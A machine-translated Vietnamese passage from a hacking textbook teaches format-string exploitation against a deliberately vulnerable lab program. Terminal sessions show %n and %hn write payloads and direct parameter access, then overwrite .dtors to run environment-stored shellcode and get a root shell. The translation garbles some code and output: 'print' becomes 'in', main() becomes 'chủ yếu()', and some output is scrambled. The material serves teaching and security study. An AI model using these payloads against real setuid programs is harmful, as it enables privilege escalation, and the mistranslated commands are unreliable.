test_val . Tuy nhiên, next_val được hiển thị là liền kề với nó.
Để thực hành, chúng ta hãy viết lại địa chỉ vào biến test_val bằng cách sử dụng địa chỉ mới.
Lần trước, một địa chỉ rất tiện lợi là 0xddccbbaa đã được sử dụng. Vì mỗi byte lớn hơn byte trước
đó, nên rất dễ để tăng bộ đếm byte cho mỗi byte. Nhưng nếu một địa chỉ như 0x0806abcd được sử dụng thì
sao? Với địa chỉ này, byte đầu tiên của 0xCD rất dễ ghi bằng tham số định dạng %n bằng cách xuất ra tổng
cộng 205 byte byte với chiều rộng trường là 161. Nhưng sau đó, byte tiếp theo cần ghi là 0xAB, cần phải
xuất ra 171 byte. Rất dễ để tăng bộ đếm byte cho tham số định dạng %n , nhưng không thể trừ khỏi nó.
người đọc@hacking:~/booksrc $ ./fmt_vuln2 AAAA%x%x%x%x
Cách in đúng nội dung do người dùng kiểm soát:
AAAA%x%x%x%x
Cách in dữ liệu do người dùng kiểm soát sai:
AAAAbffff3d0b7fe75fc041414141
[*] giá trị kiểm tra @ 0x080497f4 = -72 0xffffffb8
[*] giá trị tiếp theo @ 0x080497f8 = 286331153 0x11111111
người đọc@hacking:~/booksrc $ gdb -q --batch -ex "p 0xcd - 5"
1 = 200
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\
x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%8x%n
Cách in đúng nội dung do người dùng kiểm soát:
??RÁC??RÁC??RÁC??RÁC??%x%x%8x%n
Cách in dữ liệu do người dùng kiểm soát sai:
??RÁC??RÁC??RÁC??RÁC??bffff3c0b7fe75fc [*]
0
test_val @ 0x08049794 = -72 0xffffffb8
Khai thác 177
Machine Translated by Google
reader@hacking:~/booksrc $
reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\ x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%8x%n
Cách in đầu vào do người dùng kiểm soát đúng: ??JUNK??JUNK??
JUNK??%x%x%8x%n Cách in đầu vào do người dùng kiểm soát sai: ??
JUNK??JUNK??JUNK??bffff3c0b7fe75fc [*]
test_val @ 0x080497f4 = 52 0x00000034 [*] next_val @ 0x080497f8 =
0
286331153 0x11111111 reader@hacking:~/booksrc $ gdb
-q --batch -ex "p 0xcd - 52 + 8" $1 = 161 reader@hacking:~/
booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\
x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n Cách đúng để in dữ liệu đầu vào do người dùng
kiểm soát: ??
JUNK??JUNK??JUNK??%x%x%161x%n Cách sai để in dữ liệu đầu vào do người dùng kiểm soát: ??JUNK??JUNK??JUNK??bffff3b0b7fe75fc
0
[*] test_val @ 0x080497f4 = 205 0x000000cd [*] next_val
@ 0x080497f8 = 286331153 0x11111111 người đọc@hacking:~/booksrc
$ gdb -q --batch -ex "p 0xab - 0xcd" $1 = -34 người đọc@hacking:~/booksrc $
Thay vì cố gắng trừ 34 từ 205, byte ít quan trọng nhất chỉ được gói
quanh 0x1AB bằng cách thêm 222 vào 205 để tạo ra 427, là biểu diễn thập phân
của 0x1AB. Kỹ thuật này có thể được sử dụng để gói quanh lại và đặt byte ít
quan trọng nhất thành 0x06 cho lần ghi thứ ba.
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x1ab - 0xcd" $1 = 222 reader@hacking:~/
booksrc $
gdb -q --batch -ex "p /d 0x1ab" $1 = 427 reader@hacking:~/booksrc $ ./fmt_vuln2 $
(printf
"\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\ x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n Cách in đầu vào do người dùng kiểm soát
đúng: ??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n
Cách in đầu vào do người dùng kiểm soát sai: ??JUNK??JUNK??
JUNK??bffff3b0b7fe75fc
0
4b4e554a
[*] test_val @ 0x080497f4 = 109517 0x0001abcd [*] next_val
@ 0x080497f8 = 286331136 0x11111100 reader@hacking:~/booksrc $
gdb -q --batch -ex "p 0x06 - 0xab" $1 = -165 reader@hacking:~/booksrc $ gdb -q -batch -ex
"p 0x106 - 0xab" $1 = 91 reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf
"\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\ x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n%91x%n Cách in đầu vào do
người dùng kiểm soát đúng: ??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n%91x%n Cách
in đầu vào do người dùng kiểm soát sai: ??JUNK??JUNK??JUNK??
bffff3b0b7fe75fc
0
4b4e554a
178 0x300
Machine Translated by Google
4b4e554a
[*] giá trị kiểm tra @ 0x080497f4 = 33991629 0x0206abcd
[*] giá trị tiếp theo @ 0x080497f8 = 286326784 0x11110000
người đọc@hacking:~/booksrc $
Với mỗi lần ghi, các byte của biến next_val , liền kề với test_val,
đang bị ghi đè. Kỹ thuật bao quanh có vẻ hoạt động tốt, nhưng một vấn đề nhỏ
xuất hiện khi byte cuối cùng được thử.
người đọc@hacking:~/booksrc $ gdb -q --batch -ex "p 0x08 - 0x06"
1 = 2
người đọc@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\
x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n%91x%n%2x%n
Cách in đúng nội dung do người dùng kiểm soát:
??RÁC??RÁC??RÁC??RÁC??%x%x%161x%n%222x%n%91x%n%2x%n
Cách in dữ liệu do người dùng kiểm soát sai:
??RÁC??RÁC??RÁC??RÁC??bffff3a0b7fe75fc
0
4b4e554a
4b4e554a4b4e554a
[*] giá trị kiểm tra @ 0x080497f4 = 235318221 0x0e06abcd
[*] giá trị tiếp theo @ 0x080497f8 = 285212674 0x11000002
người đọc@hacking:~/booksrc $
Chuyện gì đã xảy ra ở đây? Sự khác biệt giữa 0x06 và 0x08 chỉ là hai, nhưng tám byte
được xuất ra, dẫn đến byte 0x0e được ghi bởi %n
tham số định dạng, thay vào đó. Điều này là do tùy chọn độ rộng trường cho
tham số định dạng %x chỉ là độ rộng trường tối thiểu và tám byte dữ liệu đã
được xuất ra. Vấn đề này có thể được khắc phục bằng cách chỉ cần bao quanh
lại; tuy nhiên, bạn nên biết những hạn chế của tùy chọn độ rộng trường.
người đọc@hacking:~/booksrc $ gdb -q --batch -ex "p 0x108 - 0x06"
1 = 258
người đọc@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\
x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n%91x%n%258x%n
Cách in đúng nội dung do người dùng kiểm soát:
??RÁC??RÁC??RÁC??RÁC??%x%x%161x%n%222x%n%91x%n%258x%n
Cách in dữ liệu do người dùng kiểm soát sai:
??RÁC??RÁC??RÁC??RÁC??bffff3a0b7fe75fc
0
4b4e554a
4b4e554a
4b4e554a
[*] giá trị kiểm tra @ 0x080497f4 = 134654925 0x0806abcd
[*] giá trị tiếp theo @ 0x080497f8 = 285212675 0x11000003
người đọc@hacking:~/booksrc $
Giống như trước đây, các địa chỉ và dữ liệu rác thích hợp được đặt vào
đầu chuỗi định dạng và byte ít quan trọng nhất được kiểm soát trong bốn thao
tác ghi để ghi đè lên tất cả bốn byte của biến test_val. Bất kỳ phép trừ giá
trị nào vào byte ít quan trọng nhất đều có thể được thực hiện bằng cách wrapping byte xung quanh. Ngoài ra, bất kỳ phép cộng nào nhỏ hơn tám có thể cần
được wrap xung quanh theo cách tương tự.
Khai thác 179
Machine Translated by Google
0x355 Truy cập tham số trực tiếp
Truy cập tham số trực tiếp là một cách để đơn giản hóa các khai thác chuỗi định dạng. Trong các khai
thác trước đó, mỗi đối số tham số định dạng phải được thực hiện tuần tự. Điều này đòi hỏi phải sử
dụng một số tham số định dạng %x để thực hiện tuần tự các đối số tham số cho đến khi đạt đến phần đầu
của chuỗi định dạng. Ngoài ra, bản chất tuần tự yêu cầu ba từ 4 byte rác để ghi đúng địa chỉ đầy đủ vào
một vị trí bộ nhớ tùy ý.
Như tên gọi ngụ ý, truy cập tham số trực tiếp cho phép truy cập trực tiếp các
tham số bằng cách sử dụng ký hiệu đô la. Ví dụ, %n$d sẽ truy cập tham số thứ n và
hiển thị nó dưới dạng số thập phân.
printf("Thứ 7: %7$d, Thứ 4: %4$05d\n", 10, 20, 30, 40, 50, 60, 70, 80);
Lệnh gọi printf() trước đó sẽ có kết quả đầu ra như sau:
Thứ 7: 70, thứ 4: 00040
Đầu tiên, 70 được xuất ra dưới dạng số thập phân khi gặp tham số định dạng
của %7$d , vì tham số thứ bảy là 70. Tham số định dạng thứ hai truy cập tham số thứ
tư và sử dụng tùy chọn độ rộng trường là 05. Tất cả các đối số tham số khác đều
không bị ảnh hưởng. Phương pháp truy cập trực tiếp này loại bỏ nhu cầu phải duyệt
qua bộ nhớ cho đến khi tìm thấy phần đầu của chuỗi định dạng, vì có thể truy cập
trực tiếp vào bộ nhớ này.
Đầu ra sau đây cho thấy cách sử dụng quyền truy cập tham số trực tiếp.
người đọc@hacking:~/booksrc $ ./fmt_vuln AAAA%x%x%x%x
Cách in đúng nội dung do người dùng kiểm soát:
AAAA%x%x%x%x
Cách in dữ liệu do người dùng kiểm soát sai:
AAAAbffff3d0b7fe75fc041414141
[*] giá trị kiểm tra @ 0x08049794 = -72 0xffffffb8
người đọc@hacking:~/booksrc $ ./fmt_vuln AAAA%4\$x
Cách in đúng nội dung do người dùng kiểm soát:
AAAA%4$x
Cách in dữ liệu do người dùng kiểm soát sai:
AAAA41414141
[*] giá trị kiểm tra @ 0x08049794 = -72 0xffffffb8
người đọc@hacking:~/booksrc $
Trong ví dụ này, phần đầu của chuỗi định dạng nằm ở tham số tham số thứ tư.
Thay vì bước qua ba tham số tham số đầu tiên bằng cách sử dụng tham số định dạng
%x , bộ nhớ này có thể được truy cập trực tiếp. Vì điều này được thực hiện trên
dòng lệnh và dấu đô la là một ký tự đặc biệt, nên nó phải được thoát bằng dấu
gạch chéo ngược. Điều này chỉ cho shell lệnh biết tránh cố gắng diễn giải dấu đô
la là một ký tự đặc biệt. Chuỗi định dạng thực tế có thể được nhìn thấy khi nó được
in chính xác.
180 0x300
Machine Translated by Google
Truy cập tham số trực tiếp cũng đơn giản hóa việc ghi địa chỉ bộ nhớ.
Vì bộ nhớ có thể được truy cập trực tiếp, nên không cần các khoảng cách bốn byte
của dữ liệu rác để tăng số lượng byte đầu ra. Mỗi tham số định dạng %x thường
thực hiện chức năng này chỉ có thể truy cập trực tiếp vào một phần bộ nhớ được
tìm thấy trước chuỗi định dạng. Để thực hành, hãy sử dụng truy cập tham số trực
tiếp để ghi địa chỉ trông thực tế hơn là 0xbffffd72 vào biến test_vals.
người đọc@hacking:~/booksrc $ ./fmt_vuln $(perl -e 'in "\x94\x97\x04\x08" . "\x95\x97\x04\x08" . "\x96\x97\x04\x08" .
"\x97\x97\x04\x08"')%4\$n
Cách in đúng nội dung do người dùng kiểm soát:
????????%4$n
Cách in dữ liệu do người dùng kiểm soát sai:
????????
[*] giá trị kiểm tra @ 0x08049794 = 16 0x00000010
người đọc@hacking:~/booksrc $ gdb -q
(gdb) trang 0x72 - 16
1 = 98
(gdb) p 0xfd - 0x72
2 = 139
(gdb) p 0xff - 0xfd
3 = 2
(gdb) p 0x1ff - 0xfd
4 = 258
(gdb) p 0xbf - 0xff
5 = -64
(gdb) p 0x1bf - 0xff
6 = 192
(gdb) thoát
người đọc@hacking:~/booksrc $ ./fmt_vuln $(perl -e 'print "\x94\x97\x04\x08" . "\x95\x97\x04\x08" .
"\x96\x97\x04\x08" . "\x97\x97\x04\x08"')%98x%4\$n%139x%5\$n
Cách in đúng nội dung do người dùng kiểm soát:
????????%98x%4$n%139x%5$n
Cách in dữ liệu do người dùng kiểm soát sai:
????????
bffff3c0
b7fe75fc
[*] giá trị kiểm tra @ 0x08049794 = 64882 0x0000fd72
reader@hacking:~/booksrc $ ./fmt_vuln $(perl -e 'print "\x94\x97\x04\x08" . "\x95\x97\x04\x08" . "\x96\x97\x04\x08" .
"\x97\x97\x04\x08"')%98x%4\$n%139x%5\$n%258x%6\$n%192x%7\$n
Cách in đúng nội dung do người dùng kiểm soát:
????????%98x%4$n%139x%5$n%258x%6$n%192x%7$n
Cách in dữ liệu do người dùng kiểm soát sai:
????????
bffff3b0
b7fe75fc
0
8049794
[*] giá trị kiểm tra @ 0x08049794 = -1073742478 0xbffffd72
người đọc@hacking:~/booksrc $
Khai thác
181
Machine Translated by Google
Vì ngăn xếp không cần phải được in để đến được địa chỉ của chúng ta, nên số
byte được ghi tại tham số định dạng đầu tiên là 16. Truy cập tham số trực tiếp chỉ
được sử dụng cho các tham số %n , vì thực sự không quan trọng giá trị nào được sử
dụng cho các khoảng cách %x . Phương pháp này đơn giản hóa quá trình ghi địa chỉ
và thu nhỏ kích thước bắt buộc của chuỗi định dạng.
0x356 Sử dụng Viết Ngắn
Một kỹ thuật khác có thể đơn giản hóa việc khai thác chuỗi định dạng là sử dụng
lệnh ghi ngắn. Một lệnh ngắn thường là một từ hai byte và các tham số định dạng
có cách xử lý đặc biệt. Mô tả đầy đủ hơn về các tham số định dạng có thể có có thể
được tìm thấy trong trang hướng dẫn printf. Phần mô tả trình sửa đổi độ dài được
hiển thị trong đầu ra bên dưới.
Bộ điều chỉnh độ dài
Ở đây, chuyển đổi số nguyên là viết tắt của chuyển đổi d, i, o, u, x hoặc X.
giờ
Một chuyển đổi số nguyên sau đây tương ứng với một int ngắn hoặc
đối số int ngắn không dấu hoặc chuyển đổi n sau
tương ứng với một con trỏ tới một đối số int ngắn.
Điều này có thể được sử dụng với khai thác chuỗi định dạng để viết short hai
byte. Trong đầu ra bên dưới, một short (hiển thị in đậm) được viết ở cả hai đầu
của biến test_val bốn byte . Đương nhiên, vẫn có thể sử dụng truy cập tham số trực tiếp.
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%x%hn
Cách in đúng nội dung do người dùng kiểm soát:
??%x%x%x%hn
Cách in dữ liệu do người dùng kiểm soát sai:
??bffff3d0b7fe75fc0
[*] giá trị kiểm tra @ 0x08049794 = -65515 0xffff0015
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x97\x04\x08")%x%x%x%hn
Cách in đúng nội dung do người dùng kiểm soát:
??%x%x%x%hn
Cách in dữ liệu do người dùng kiểm soát sai:
??bffff3d0b7fe75fc0
[*] giá trị kiểm tra @ 0x08049794 = 1441720 0x0015ffb8
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x97\x04\x08")%4\$hn
Cách in đúng nội dung do người dùng kiểm soát:
??%4$hn
Cách in dữ liệu do người dùng kiểm soát sai:
??
[*] giá trị kiểm tra @ 0x08049794 = 327608 0x0004ffb8
người đọc@hacking:~/booksrc $
Sử dụng short writes, toàn bộ giá trị bốn byte có thể được ghi đè chỉ bằng hai
tham số %hn . Trong ví dụ dưới đây, biến test_val sẽ được ghi đè một lần nữa với
địa chỉ 0xbffffd72.
182 0x300
Machine Translated by Google
người đọc@hacking:~/booksrc $ gdb -q
(gdb) trang 0xfd72 - 8
1 = 64874
(gdb) p 0xbfff - 0xfd72
2 = -15731
(gdb) p 0x1bfff - 0xfd72
3 = 49805
(gdb) thoát
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08\x96\x97\x04\x08")%64874x%4\
$hn%49805x%5\$hn
Cách in đúng nội dung do người dùng kiểm soát:
????%64874x%4$hn%49805x%5$hn
Cách in dữ liệu do người dùng kiểm soát sai:
b7fe75fc
[*] giá trị kiểm tra @ 0x08049794 = -1073742478 0xbffffd72
người đọc@hacking:~/booksrc $
Ví dụ trước đã sử dụng phương pháp bao quanh tương tự để xử lý lần ghi thứ hai của
0xbfff nhỏ hơn lần ghi đầu tiên của 0xfd72. Sử dụng các lần ghi ngắn, thứ tự của các
lần ghi không quan trọng, do đó lần ghi đầu tiên có thể là 0xfd72
và 0xbfff thứ hai, nếu hai địa chỉ được truyền vào bị hoán đổi vị trí.
Trong kết quả đầu ra bên dưới, địa chỉ 0x08049796 được ghi vào địa chỉ đầu tiên và 0x08049794 được
ghi vào địa chỉ thứ hai.
(gdb) p 0xbfff - 8
1 = 49143
(gdb) trang 0xfd72 - 0xbfff
2 = 15731
(gdb) thoát
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x97\x04\x08\x94\x97\x04\x08")%49143x%4\
$hn%15731x%5\$hn
Cách in đúng nội dung do người dùng kiểm soát:
????%49143x%4$hn%15731x%5$hn
Cách in dữ liệu do người dùng kiểm soát sai:
????
b7fe75fc
[*] giá trị kiểm tra @ 0x08049794 = -1073742478 0xbffffd72
người đọc@hacking:~/booksrc $
Khả năng ghi đè các địa chỉ bộ nhớ tùy ý ngụ ý khả năng kiểm soát luồng thực thi
của chương trình. Một tùy chọn là ghi đè địa chỉ trả về trong khung ngăn xếp gần đây
nhất, như đã thực hiện với tràn dựa trên ngăn xếp. Mặc dù đây là một tùy chọn khả
thi, nhưng vẫn có những mục tiêu khác có địa chỉ bộ nhớ dễ dự đoán hơn. Bản chất của
tràn dựa trên ngăn xếp chỉ cho phép ghi đè địa chỉ trả về, nhưng chuỗi định dạng cung
cấp khả năng ghi đè bất kỳ địa chỉ bộ nhớ nào, tạo ra các khả năng khác.
Khai thác 183
Machine Translated by Google
0x357 Đường vòng với .dtors
Trong các chương trình nhị phân được biên dịch bằng trình biên dịch GNU C, các phần bảng
đặc biệt gọi là .dtors và .ctors được tạo cho các hàm hủy và hàm tạo tương ứng.
Các hàm xây dựng được thực thi trước khi hàm main() được thực thi và các hàm hủy được
thực thi ngay trước khi hàm main() thoát với lệnh gọi hệ thống thoát. Các hàm hủy và
phần bảng .dtors đặc biệt được quan tâm.
Một hàm có thể được khai báo là một hàm hủy bằng cách định nghĩa
thuộc tính hủy, như được thấy trong dtors_sample.c.
dtors_sample.c
#include <stdio.h>
#include <stdlib.h>
static void cleanup(void) __attribute__ ((hàm hủy));
chủ yếu() {
printf("Một số hành động xảy ra trong hàm main()..\n");
printf("và sau đó khi main() thoát, hàm hủy được gọi..\n");
thoát(0);
}
dọn dẹp void(void) {
printf("Trong hàm dọn dẹp bây giờ..\n");
}
Trong mẫu mã trước đó, hàm cleanup() được định nghĩa với thuộc tính destructor, do
đó hàm được tự động gọi khi main ()
chức năng thoát, như hiển thị bên dưới.
reader@hacking:~/booksrc $ gcc -o dtors_sample dtors_sample.c
người đọc@hacking:~/booksrc $ ./dtors_sample
Một số hành động xảy ra trong hàm main().
và sau đó khi main() thoát, hàm hủy được gọi.
Trong hàm cleanup() bây giờ..
người đọc@hacking:~/booksrc $
Hành vi tự động thực thi một hàm khi thoát này được điều khiển bởi phần bảng .dtors
của tệp nhị phân. Phần này là một mảng các địa chỉ 32 bit được kết thúc bằng địa chỉ
NULL. Mảng luôn bắt đầu bằng 0xffffffff
và kết thúc bằng địa chỉ NULL là 0x00000000. Giữa hai địa chỉ này là địa chỉ của tất cả các hàm
đã được khai báo với hàm hủy
thuộc tính.
Lệnh nm có thể được sử dụng để tìm địa chỉ của cleanup()
chức năng và objdump có thể được sử dụng để kiểm tra các phần của tệp nhị phân.
184 0x300
Machine Translated by Google
reader@hacking:~/booksrc $ nm ./dtors_sample
080495bc d _DYNAMIC
08049688 d _GLOBAL_OFFSET_TABLE_
080484e4 R _IO_stdin_used
w _Jv_RegisterClasses
080495a8 d __CTOR_END__
080495a4 d __CTOR_LIST__
080495b4 d __DTOR_END__
080495ac d __DTOR_LIST__
080485a0 r __FRAME_END__
080495b8 d __JCR_END__
080495b8 d __JCR_LIST__
080496b0 A __bss_start
080496a4 D __data_start
08048480 t __do_global_ctors_aux
08048340 t __do_global_dtors_aux
080496a8 D __dso_handle
w __gmon_start__
08048479 T __i686.get_pc_thunk.bx
080495a4 d __init_array_end
080495a4 d __init_array_start
08048400 T __libc_csu_fini
08048410 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
080496b0 A _edata
080496b4 A _end
080484b0 T _fini
080484e0 R _fp_hw
0804827c T _init
080482f0 T _start
08048314 t call_gmon_start
080483e8 t dọn dẹp
080496b0 b hoàn thành.1
080496a4 W data_start
U exit@@GLIBC_2.0
08048380 t frame_dummy
080483b4 T main
080496ac d p.0
U printf@@GLIBC_2.0
reader@hacking:~/booksrc $
Lệnh nm cho thấy hàm cleanup() nằm ở 0x080483e8 (được in đậm ở trên). Nó cũng
cho thấy phần .dtors bắt đầu ở 0x080495ac với __DTOR_LIST__ () và kết thúc ở
0x080495b4 với __DTOR_END__ (). Điều này có nghĩa là 0x080495ac phải chứa
0xffffffff, 0x080495b4 phải chứa 0x00000000 và địa chỉ giữa chúng (0x080495b0) phải
chứa địa chỉ của hàm cleanup () (0x080483e8).
Lệnh objdump hiển thị nội dung thực tế của phần .dtors (được hiển thị
bằng chữ in đậm bên dưới), mặc dù ở định dạng hơi khó hiểu. Giá trị đầu tiên
của 80495ac chỉ hiển thị địa chỉ nơi có phần .dtors
Khai thác 185
Machine Translated by Google
đã định vị. Sau đó, các byte thực tế được hiển thị, trái ngược với DWORD, nghĩa là các byte bị đảo
ngược. Ghi nhớ điều này, mọi thứ có vẻ đúng.
người đọc@hacking:~/booksrc $ objdump -s -j .dtors ./dtors_sample
định dạng tập tin elf32-i386
./dtors_mẫu:
Nội dung của phần .dtors:
80495ac ffffffff e8830408 00000000 người
............
đọc@hacking:~/booksrc $
Một chi tiết thú vị về phần .dtors là nó có thể ghi được. Một bản dump đối tượng của các tiêu đề sẽ
xác minh điều này bằng cách hiển thị rằng phần .dtors không được gắn nhãn READONLY.
người đọc@hacking:~/booksrc $ objdump -h ./dtors_sample
./dtors_mẫu:
định dạng tập tin elf32-i386
Các phần:
Tên IDX
0 .interp
Kích thước VMA LMA Tệp tắt Algn
00000013 08048114 08048114 00000114 2**0
NỘI DUNG, PHÂN BỔ, TẢI, CHỈ ĐỌC, DỮ LIỆU
1 .note.Thẻ ABI 00000020 08048128 08048128 00000128 2**2
NỘI DUNG, PHÂN BỔ, TẢI, CHỈ ĐỌC, DỮ LIỆU
2.băm
0000002c 08048148 08048148 00000148 2**2
3. động lực
00000060 08048174 08048174 00000174 2**2
4 .dynstr
00000051 080481d4 080481d4 000001d4 2**0
NỘI DUNG, PHÂN BỔ, TẢI, CHỈ ĐỌC, DỮ LIỆU
NỘI DUNG, PHÂN BỔ, TẢI, CHỈ ĐỌC, DỮ LIỆU
NỘI DUNG, PHÂN BỔ, TẢI, CHỈ ĐỌC, DỮ LIỆU
5 .gnu.version 0000000c 08048226 08048226 00000226 2**1
NỘI DUNG, PHÂN BỔ, TẢI, CHỈ ĐỌC, DỮ LIỆU
6 .gnu.version_r 00000020 08048234 08048234 00000234 2**2
NỘI DUNG, PHÂN BỔ, TẢI, CHỈ ĐỌC, DỮ LIỆU
7 .rel.dyn
00000008 08048254 08048254 00000254 2**2
8 .rel.plt
00000020 0804825c 0804825c 0000025c 2**2
9.khởi tạo
00000017 0804827c 0804827c 0000027c 2**2
NỘI DUNG, PHÂN BỔ, TẢI, CHỈ ĐỌC, DỮ LIỆU
NỘI DUNG, PHÂN BỔ, TẢI, CHỈ ĐỌC, DỮ LIỆU
NỘI DUNG, PHÂN BỔ, TẢI, CHỈ ĐỌC, MÃ
10 .plt
00000050 08048294 08048294 00000294 2**2
11 .văn bản
000001c0 080482f0 080482f0 000002f0 2**4
12. kết thúc
0000001c 080484b0 080484b0 000004b0 2**2
13 .rodata
000000bf 080484e0 080484e0 000004e0 2**5
14 .eh_khung
00000004 080485a0 080485a0 000005a0 2**2
15 .ctor
00000008 080495a4 080495a4 000005a4 2**2
NỘI DUNG, PHÂN BỔ, TẢI, CHỈ ĐỌC, MÃ
NỘI DUNG, PHÂN BỔ, TẢI, CHỈ ĐỌC, MÃ
NỘI DUNG, PHÂN BỔ, TẢI, CHỈ ĐỌC, MÃ
NỘI DUNG, PHÂN BỔ, TẢI, CHỈ ĐỌC, DỮ LIỆU
NỘI DUNG, PHÂN BỔ, TẢI, CHỈ ĐỌC, DỮ LIỆU
NỘI DUNG, PHÂN BỔ, TẢI, DỮ LIỆU
186 0x300
Machine Translated by Google
16 .dtors
0000000c 080495ac 080495ac 000005ac 2**2
17 .jcr
00000004 080495b8 080495b8 000005b8 2**2
18. động
000000c8 080495bc 080495bc 000005bc 2**2
19 .có
00000004 08049684 08049684 00000684 2**2
20 .got.plt
0000001c 08049688 08049688 00000688 2**2
21 .dữ liệu
0000000c 080496a4 080496a4 000006a4 2**2
22 .bss
00000004 080496b0 080496b0 000006b0 2**2
NỘI DUNG, PHÂN BỔ, TẢI, DỮ LIỆU
NỘI DUNG, PHÂN BỔ, TẢI, DỮ LIỆU
NỘI DUNG, PHÂN BỔ, TẢI, DỮ LIỆU
NỘI DUNG, PHÂN BỔ, TẢI, DỮ LIỆU
NỘI DUNG, PHÂN BỔ, TẢI, DỮ LIỆU
NỘI DUNG, PHÂN BỔ, TẢI, DỮ LIỆU
PHÂN BỔ
0000012f 00000000 00000000 000006b0 2**0
23 .bình luận
NỘI DUNG, CHỈ ĐỌC
24 .debug_aranges 00000058 00000000 00000000 000007e0 2**3
NỘI DUNG, CHỈ ĐỌC, GỠ LỖI
25 .debug_pubnames 00000025 00000000 00000000 00000838 2**0
NỘI DUNG, CHỈ ĐỌC, GỠ LỖI
26 .debug_info 000001ad 00000000 00000000 0000085d 2**0
NỘI DUNG, CHỈ ĐỌC, GỠ LỖI
27 .debug_abbrev 00000066 00000000 00000000 00000a0a 2**0
NỘI DUNG, CHỈ ĐỌC, GỠ LỖI
28 .debug_line 0000013d 00000000 00000000 00000a70 2**0
NỘI DUNG, CHỈ ĐỌC, GỠ LỖI
000000bb 00000000 00000000 00000xấu 2**0
29 .debug_str
NỘI DUNG, CHỈ ĐỌC, GỠ LỖI
30 .debug_ranges 00000048 00000000 00000000 00000c68 2**3
NỘI DUNG, CHỈ ĐỌC, GỠ LỖI
người đọc@hacking:~/booksrc $
Một chi tiết thú vị khác về phần .dtors là nó được bao gồm trong tất cả các tệp nhị phân được biên
dịch bằng trình biên dịch GNU C, bất kể có bất kỳ hàm nào được khai báo với thuộc tính destructor hay
không. Điều này có nghĩa là chương trình chuỗi định dạng dễ bị tấn công, fmt_vuln.c, phải có phần .dtors
không chứa gì. Điều này có thể được kiểm tra bằng nm và objdump.
người đọc@hacking:~/booksrc $ nm ./fmt_vuln | grep DTOR
08049694 d __DTOR_END__
08049690 d __DTOR_LIST__
người đọc@hacking:~/booksrc $ objdump -s -j .dtors ./fmt_vuln
./fmt_vuln:
định dạng tập tin elf32-i386
Nội dung của phần .dtors:
8049690 ffffffff 00000000
........
người đọc@hacking:~/booksrc $
Như đầu ra này cho thấy, khoảng cách giữa __DTOR_LIST__ và __DTOR_END__
lần này chỉ có bốn byte, nghĩa là không có địa chỉ nào giữa chúng.
Đối tượng dump sẽ xác minh điều này.
Khai thác 187
Machine Translated by Google
Vì phần .dtors có thể ghi được, nếu địa chỉ sau 0xffffffff được ghi đè bằng địa chỉ bộ nhớ,
luồng thực thi của chương trình sẽ được chuyển hướng đến địa chỉ đó khi chương trình thoát. Đây sẽ là
địa chỉ của __DTOR_LIST__ cộng với bốn, là 0x08049694 (cũng là địa chỉ của __DTOR_END__ trong trường
hợp này).
Nếu chương trình là suid root và địa chỉ này có thể được ghi đè thì có thể lấy được root shell.
reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin)
reader@hacking:~/booksrc $ ./getenvaddr MÃ SHELL ./fmt_vuln
SHELLCODE sẽ ở 0xbffff9ec
người đọc@hacking:~/booksrc $
Shellcode có thể được đưa vào một biến môi trường và địa chỉ có thể được dự đoán như bình thường.
Vì độ dài tên chương trình của chương trình trợ giúp getenvaddr.c và chương trình fmt_vuln.c dễ bị tấn
công khác nhau hai byte, nên shellcode sẽ nằm ở 0xbffff9ec khi fmt_vuln.c được thực thi. Địa chỉ này chỉ
cần được ghi vào phần .dtors tại 0x08049694 (hiển thị bằng chữ in đậm bên dưới) bằng cách sử dụng
chuỗi định dạng dễ bị tấn công. Trong đầu ra bên dưới, phương pháp ghi ngắn được sử dụng.
người đọc@hacking:~/booksrc $ gdb -q
(gdb) p 0xbfff - 8
1 = 49143
(gdb) p 0xf9ec - 0xbfff
2 = 14829
(gdb) thoát
người đọc@hacking:~/booksrc $ nm ./fmt_vuln | grep DTOR
08049694 d __DTOR_END__
08049690 d __DTOR_LIST__
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x96\x04\x08\x94\x96\x04\
x08")%49143x%4\$hn%14829x%5\$hn
Cách in đúng nội dung do người dùng kiểm soát:
????%49143x%4$hn%14829x%5$hn
Cách in dữ liệu do người dùng kiểm soát sai:
????
b7fe75fc
[*] giá trị kiểm tra @ 0x08049794 = -72 0xffffffb8
sh-3.2# ai đó
gốc rễ
sh-3.2#
Mặc dù phần .dtors không được kết thúc đúng cách với địa chỉ NULL là 0x00000000, địa chỉ
shellcode vẫn được coi là hàm hủy. Khi chương trình thoát, shellcode sẽ được gọi, tạo ra một root shell.
188 0x300
Machine Translated by Google
0x358 Một lỗ hổng notesearch khác
Ngoài lỗ hổng tràn bộ đệm, chương trình notesearch từ Chương 2 còn bị lỗ
